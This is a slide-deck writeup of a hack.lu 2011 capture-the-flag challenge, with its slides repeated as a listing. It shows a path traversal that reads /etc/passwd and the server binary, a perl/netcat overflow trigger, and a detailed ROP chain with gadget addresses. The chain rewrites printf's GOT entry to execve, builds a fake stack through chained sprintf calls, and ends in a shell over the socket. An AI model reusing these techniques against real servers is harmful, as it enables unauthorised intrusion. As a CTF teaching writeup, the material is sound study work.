Nebula Death Stick Services 
writeup for hack.lu 2011 
By N.K.
Nebula Death Stick Services 
● Challengetext: 
● Death Sticks are a totally illegal drug in the universe. 
However, somehow a company called Death Stick Services 
(http://ctf.hack.lu:2010) has managed to get a huge trade volume by selling 
Death Sticks directly and anonymously to their custumers. 
Seems like nobody has the power to stop them, so the Galactic's Secret 
Service ordered YOU and your Special Forces team to get a Shell on Death 
Stick Service's server and search for any evidence on how to take them 
down! May the force be with you. 
● 500 Points (hard) 
● Only 1 Team solved it >:(
What the Attacker sees 
● Nothing but a simple website
First Bug 
● Only one parameter 
● ?page=X 
● Obvious bug: 
?page=../../../etc/passwd
How to exploit? 
● What to do? 
● No way of including PHP Files or anything else 
● Bug is “just” an arbitrary read 
● We don't know the location of the Flag 
=> we can't read it 
● Also access to /proc seems disabled
HTTP Headers hint 
● Checking http headers shows the following:
Getting the binary 
● We can obtain the binary w/ ?page=../a.out !
The Binary 
● $ ls -h a.out 
-rwxr-xr-x 1 nk nk 12K Sep 27 20:56 a.out 
● $ file a.out 
a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 
dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped 
● $ ./a.out 
Notice: Nebulaserv - A Webserver for Nebulacorp 
Notice: Starting up! 
- Accepting requests on port 2010 
- Got request with length 25: 127.0.0.1:59061 - GET /?page=about 
HTTP/1.1 
- Got param: page with value about
Nebula Death Stick Services 
● Reversing time!
Nebula Death Stick Services 
● Got the bug! 
perl -e 'print "GET /=" . "A"x56 . "BBBB" . "?" . " HTTP/rn"' | 
nc localhost 2010
Environment 
● How to exploit? 
● Server runs under Ubuntu 10.10 
00110000-0012b000 r-xp 00000000 08:01 1175066 /lib/ld-2.11.1.so 
0012b000-0012c000 r--p 0001a000 08:01 1175066 /lib/ld-2.11.1.so 
0012c000-0012d000 rw-p 0001b000 08:01 1175066 /lib/ld-2.11.1.so 
0012d000-0012e000 r-xp 00000000 00:00 0 [vdso] 
0012e000-00281000 r-xp 00000000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 
00281000-00282000 ---p 00153000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 
00282000-00284000 r--p 00153000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 
00284000-00285000 rw-p 00155000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 
00285000-00288000 rw-p 00000000 00:00 0 
08048000-0804a000 r-xp 00000000 08:01 916323 /home/hax/chal/a.out 
0804a000-0804b000 rw-p 00001000 08:01 916323 /home/hax/chal/a.out 
b7fef000-b7ff0000 rw-p 00000000 00:00 0 
b7ffd000-b8000000 rw-p 00000000 00:00 0 
bffeb000-c0000000 rw-p 00000000 00:00 0 [stack] 
● ASLR, NX, ascii-armored libc
Mitigations 
● NX/DEP => No way to execute shellcode directly 
● ASLR => No way to determine location of userinput 
buffer 
● Ascii-armor => No way to return to libc functions like 
mmap or memprotect, also randomized 
● We need ROP, but the binary is dynamically linked => 
very few gadgets availiable 
● Also for full ROP Payload we need at least some fixed 
addresses
Gadgets 
● We “assume” our stack is situated in a fixed 
memory location => no problems with leave 
● Let's see what gadgets we could use 
● Gadget #1 
0x8048a58: c6 05 58 ab 04 08 01 movb $0x1,0x804ab58 
0x8048a5f: 83 c4 04 add $0x4,%esp 
0x8048a62: 5b pop %ebx 
0x8048a63: 5d pop %ebp 
0x8048a64: c3 ret 
● Gadget #2 
0x8048790: 58 pop %eax 
0x8048791: 5b pop %ebx 
0x8048792: c9 leave 
0x8048793: c3 ret
Arbitrary Add? 
● Gadget #1 is located at 0x8048a58 
● However if we jump to to 0x8048a58+1 we get 
0x8048a59 <__do_global_dtors_aux+73>: add $0x804ab58,%eax 
0x8048a5e <__do_global_dtors_aux+78>: add %eax,0x5d5b04c4(%ebx) 
0x8048a64 <__do_global_dtors_aux+84>: ret 
● Thus we obtain Gadget #3 
● Gadget #2 lets us control EAX and EBX 
● Gadget #3 lets us add EAX to [EBX + 
0x5d5b04c4] 
● Arbitrary memory write!
So? 
● There does not seem anything useful to be 
written to 
● However there is a nice trick which gives us 
control 
● The only infoleak we need is the binary itself 
and the used libc (or in this case another 
shellaccount on the box) 
● Why?
PLT → GOT → libc 
● gdb$ x/i 0x08048ce5 
0x8048ce5 <main+82>: call 0x80488e4 <printf@plt> 
● gdb$ x/i 0x80488e4 
0x80488e4 <printf@plt>: jmp *0x804ab14 (this is the pointer we write to) 
● gdb$ x/i *0x804ab14 
0xb7ed11c0 <printf>: push %ebp 
● gdb$ p printf 
$2 = {<text variable, no debug info>} 0xb7ed11c0 <printf> 
● gdb$ p execve 
$4 = {<text variable, no debug info>} 0xb7f21870 <execve> 
● gdb$ p execve-printf 
$5 = 0x506b0 (FIXED)
Our aim 
● Using Gadget #3 we can transform printf() 
to make it point to execve() and return to 
printf@plt 
● So instead of executing printf() we infact are 
going to execute execve() with “arbitrary 
parameters” 
● We still have to know the location of the stack 
but at the moment it does not matter.
Our aim “visualized” 
● printf@got printf@libc 
execve@got execve@libc 
● printf@got printf@libc 
execve@got execve@libc
Some calculations 
● EAX and EBX have to be set as follows: 
● EAX has to be the offset from printf to execve 
=> EAX = 0x506b0 
● EBX has to be the address of the printf@got 
pointer – 0x5d5b04c4 
=> EBX = 0xaaa9a650 
● That gives 
ADD [EBX+0x5d5b04c4], EAX <=> 
*(0xaaa9a650+0x5d5b04c4)+0x506b0 
(--------points to printf--------)
The ROP Payload 
● Imagine the stack at 0x804a040, fixed, writeble 
location (ESP should point to it) 
● 0x804a040 => 0x8048a63 Gadget #1 POP EBP 
● 0x804a040+4 => 0x804aa04+16 NEW EBP 
● 0x804a040+8 => 0x8048790 Gadget #2 
● 0x804a040+12 => 0x000506b0 EAX 
● 0x804a040+16 => 0xaaa9a650 EBX 
● 0x804a040+20 => 0x08048a5e Gadget #3 
● 0x804a040+24 => 0x08048ce5 CALL printf@plt
The ROP Payload (2) 
● 0x804a040+28 => 0x804a040+60 Pointer to “/bin/sh”,0 
● 0x804a040+32 => 0x804a040+68 Pointer to argv-Array 
● 0x804a040+36 => 0x0000000 ENV => NULL 
● 0x804a040+36 => 0x6e69622f “/bin” 
● 0x804a040+60 => 0x0068732f “/sh”,0 
● 0x804a040+68 => 0x804a040+100 
● 0x804a040+72 => 0x804a040+104 
● 0x804a040+76 => 0x804a040+108 
● 0x804a040+80 => 0x0000000 
● 0x804a040+100 => 0x00006873 “sh”,0 
● 0x804a040+104 => 0x0000632d “-c”, 0 
● 0x804a040+108 => 0x263c6873 “sh<&4 >&4”, 0 FD Abuse 
…
Building the ROP Stack 
● ROP stack is designed and ready 
● But how to get it on the real Stack? 
● We somehow need to know and control the 
stack's location 
● Why not building our own Stack? 
● How?! 
● sprintf() !
Sprintf Abuse 
● We know where sprintf() is located because of 
PLT 
● Chaining sprintf() calls with the source bytes 
and target location is easy! 
● We simply use the binary's image at 
0x08048000 and scan for the bytes we need 
and transfer them piece to piece to our custom 
stack location 
● &sprintf - target - &byte - pop-pop-ret - … 
0x080487a4 0x804a040+x 0x8048000+x 0x8048a62 
● Thus we build our ROP Payload bytewisely
Final Steps 
● Once the custom Stack is built we need to 
redirect ESP 
● Use Gadget #1 to load EBP, so that EBP points 
to &custom_stack – 4 
● Then return to leave-ret (Gadget #2) 
● After that ESP points to our custom stack and 
we ROP our way to a backconnect shell :)
DEMO
Summary 
● What did we do? 
● Bypass NX/DEP with ROP 
● Bypass ASLR by returning to fixed addresses 
only and setting the stack to a known location 
● No bruteforcing! 
● Abuse of the fact that libc offset diffs are always 
the same per libc 
● Exploit is stable!

Hacklu11 Writeup

  • 1.
    Nebula Death StickServices writeup for hack.lu 2011 By N.K.
  • 2.
    Nebula Death StickServices ● Challengetext: ● Death Sticks are a totally illegal drug in the universe. However, somehow a company called Death Stick Services (http://ctf.hack.lu:2010) has managed to get a huge trade volume by selling Death Sticks directly and anonymously to their custumers. Seems like nobody has the power to stop them, so the Galactic's Secret Service ordered YOU and your Special Forces team to get a Shell on Death Stick Service's server and search for any evidence on how to take them down! May the force be with you. ● 500 Points (hard) ● Only 1 Team solved it >:(
  • 3.
    What the Attackersees ● Nothing but a simple website
  • 4.
    First Bug ●Only one parameter ● ?page=X ● Obvious bug: ?page=../../../etc/passwd
  • 5.
    How to exploit? ● What to do? ● No way of including PHP Files or anything else ● Bug is “just” an arbitrary read ● We don't know the location of the Flag => we can't read it ● Also access to /proc seems disabled
  • 6.
    HTTP Headers hint ● Checking http headers shows the following:
  • 7.
    Getting the binary ● We can obtain the binary w/ ?page=../a.out !
  • 8.
    The Binary ●$ ls -h a.out -rwxr-xr-x 1 nk nk 12K Sep 27 20:56 a.out ● $ file a.out a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped ● $ ./a.out Notice: Nebulaserv - A Webserver for Nebulacorp Notice: Starting up! - Accepting requests on port 2010 - Got request with length 25: 127.0.0.1:59061 - GET /?page=about HTTP/1.1 - Got param: page with value about
  • 9.
    Nebula Death StickServices ● Reversing time!
  • 10.
    Nebula Death StickServices ● Got the bug! perl -e 'print "GET /=" . "A"x56 . "BBBB" . "?" . " HTTP/rn"' | nc localhost 2010
  • 11.
    Environment ● Howto exploit? ● Server runs under Ubuntu 10.10 00110000-0012b000 r-xp 00000000 08:01 1175066 /lib/ld-2.11.1.so 0012b000-0012c000 r--p 0001a000 08:01 1175066 /lib/ld-2.11.1.so 0012c000-0012d000 rw-p 0001b000 08:01 1175066 /lib/ld-2.11.1.so 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso] 0012e000-00281000 r-xp 00000000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 00281000-00282000 ---p 00153000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 00282000-00284000 r--p 00153000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 00284000-00285000 rw-p 00155000 08:01 512 /lib/tls/i686/cmov/libc-2.11.1.so 00285000-00288000 rw-p 00000000 00:00 0 08048000-0804a000 r-xp 00000000 08:01 916323 /home/hax/chal/a.out 0804a000-0804b000 rw-p 00001000 08:01 916323 /home/hax/chal/a.out b7fef000-b7ff0000 rw-p 00000000 00:00 0 b7ffd000-b8000000 rw-p 00000000 00:00 0 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack] ● ASLR, NX, ascii-armored libc
  • 12.
    Mitigations ● NX/DEP=> No way to execute shellcode directly ● ASLR => No way to determine location of userinput buffer ● Ascii-armor => No way to return to libc functions like mmap or memprotect, also randomized ● We need ROP, but the binary is dynamically linked => very few gadgets availiable ● Also for full ROP Payload we need at least some fixed addresses
  • 13.
    Gadgets ● We“assume” our stack is situated in a fixed memory location => no problems with leave ● Let's see what gadgets we could use ● Gadget #1 0x8048a58: c6 05 58 ab 04 08 01 movb $0x1,0x804ab58 0x8048a5f: 83 c4 04 add $0x4,%esp 0x8048a62: 5b pop %ebx 0x8048a63: 5d pop %ebp 0x8048a64: c3 ret ● Gadget #2 0x8048790: 58 pop %eax 0x8048791: 5b pop %ebx 0x8048792: c9 leave 0x8048793: c3 ret
  • 14.
    Arbitrary Add? ●Gadget #1 is located at 0x8048a58 ● However if we jump to to 0x8048a58+1 we get 0x8048a59 <__do_global_dtors_aux+73>: add $0x804ab58,%eax 0x8048a5e <__do_global_dtors_aux+78>: add %eax,0x5d5b04c4(%ebx) 0x8048a64 <__do_global_dtors_aux+84>: ret ● Thus we obtain Gadget #3 ● Gadget #2 lets us control EAX and EBX ● Gadget #3 lets us add EAX to [EBX + 0x5d5b04c4] ● Arbitrary memory write!
  • 15.
    So? ● Theredoes not seem anything useful to be written to ● However there is a nice trick which gives us control ● The only infoleak we need is the binary itself and the used libc (or in this case another shellaccount on the box) ● Why?
  • 16.
    PLT → GOT→ libc ● gdb$ x/i 0x08048ce5 0x8048ce5 <main+82>: call 0x80488e4 <printf@plt> ● gdb$ x/i 0x80488e4 0x80488e4 <printf@plt>: jmp *0x804ab14 (this is the pointer we write to) ● gdb$ x/i *0x804ab14 0xb7ed11c0 <printf>: push %ebp ● gdb$ p printf $2 = {<text variable, no debug info>} 0xb7ed11c0 <printf> ● gdb$ p execve $4 = {<text variable, no debug info>} 0xb7f21870 <execve> ● gdb$ p execve-printf $5 = 0x506b0 (FIXED)
  • 17.
    Our aim ●Using Gadget #3 we can transform printf() to make it point to execve() and return to printf@plt ● So instead of executing printf() we infact are going to execute execve() with “arbitrary parameters” ● We still have to know the location of the stack but at the moment it does not matter.
  • 18.
    Our aim “visualized” ● printf@got printf@libc execve@got execve@libc ● printf@got printf@libc execve@got execve@libc
  • 19.
    Some calculations ●EAX and EBX have to be set as follows: ● EAX has to be the offset from printf to execve => EAX = 0x506b0 ● EBX has to be the address of the printf@got pointer – 0x5d5b04c4 => EBX = 0xaaa9a650 ● That gives ADD [EBX+0x5d5b04c4], EAX <=> *(0xaaa9a650+0x5d5b04c4)+0x506b0 (--------points to printf--------)
  • 20.
    The ROP Payload ● Imagine the stack at 0x804a040, fixed, writeble location (ESP should point to it) ● 0x804a040 => 0x8048a63 Gadget #1 POP EBP ● 0x804a040+4 => 0x804aa04+16 NEW EBP ● 0x804a040+8 => 0x8048790 Gadget #2 ● 0x804a040+12 => 0x000506b0 EAX ● 0x804a040+16 => 0xaaa9a650 EBX ● 0x804a040+20 => 0x08048a5e Gadget #3 ● 0x804a040+24 => 0x08048ce5 CALL printf@plt
  • 21.
    The ROP Payload(2) ● 0x804a040+28 => 0x804a040+60 Pointer to “/bin/sh”,0 ● 0x804a040+32 => 0x804a040+68 Pointer to argv-Array ● 0x804a040+36 => 0x0000000 ENV => NULL ● 0x804a040+36 => 0x6e69622f “/bin” ● 0x804a040+60 => 0x0068732f “/sh”,0 ● 0x804a040+68 => 0x804a040+100 ● 0x804a040+72 => 0x804a040+104 ● 0x804a040+76 => 0x804a040+108 ● 0x804a040+80 => 0x0000000 ● 0x804a040+100 => 0x00006873 “sh”,0 ● 0x804a040+104 => 0x0000632d “-c”, 0 ● 0x804a040+108 => 0x263c6873 “sh<&4 >&4”, 0 FD Abuse …
  • 22.
    Building the ROPStack ● ROP stack is designed and ready ● But how to get it on the real Stack? ● We somehow need to know and control the stack's location ● Why not building our own Stack? ● How?! ● sprintf() !
  • 23.
    Sprintf Abuse ●We know where sprintf() is located because of PLT ● Chaining sprintf() calls with the source bytes and target location is easy! ● We simply use the binary's image at 0x08048000 and scan for the bytes we need and transfer them piece to piece to our custom stack location ● &sprintf - target - &byte - pop-pop-ret - … 0x080487a4 0x804a040+x 0x8048000+x 0x8048a62 ● Thus we build our ROP Payload bytewisely
  • 24.
    Final Steps ●Once the custom Stack is built we need to redirect ESP ● Use Gadget #1 to load EBP, so that EBP points to &custom_stack – 4 ● Then return to leave-ret (Gadget #2) ● After that ESP points to our custom stack and we ROP our way to a backconnect shell :)
  • 25.
  • 26.
    Summary ● Whatdid we do? ● Bypass NX/DEP with ROP ● Bypass ASLR by returning to fixed addresses only and setting the stack to a known location ● No bruteforcing! ● Abuse of the fact that libc offset diffs are always the same per libc ● Exploit is stable!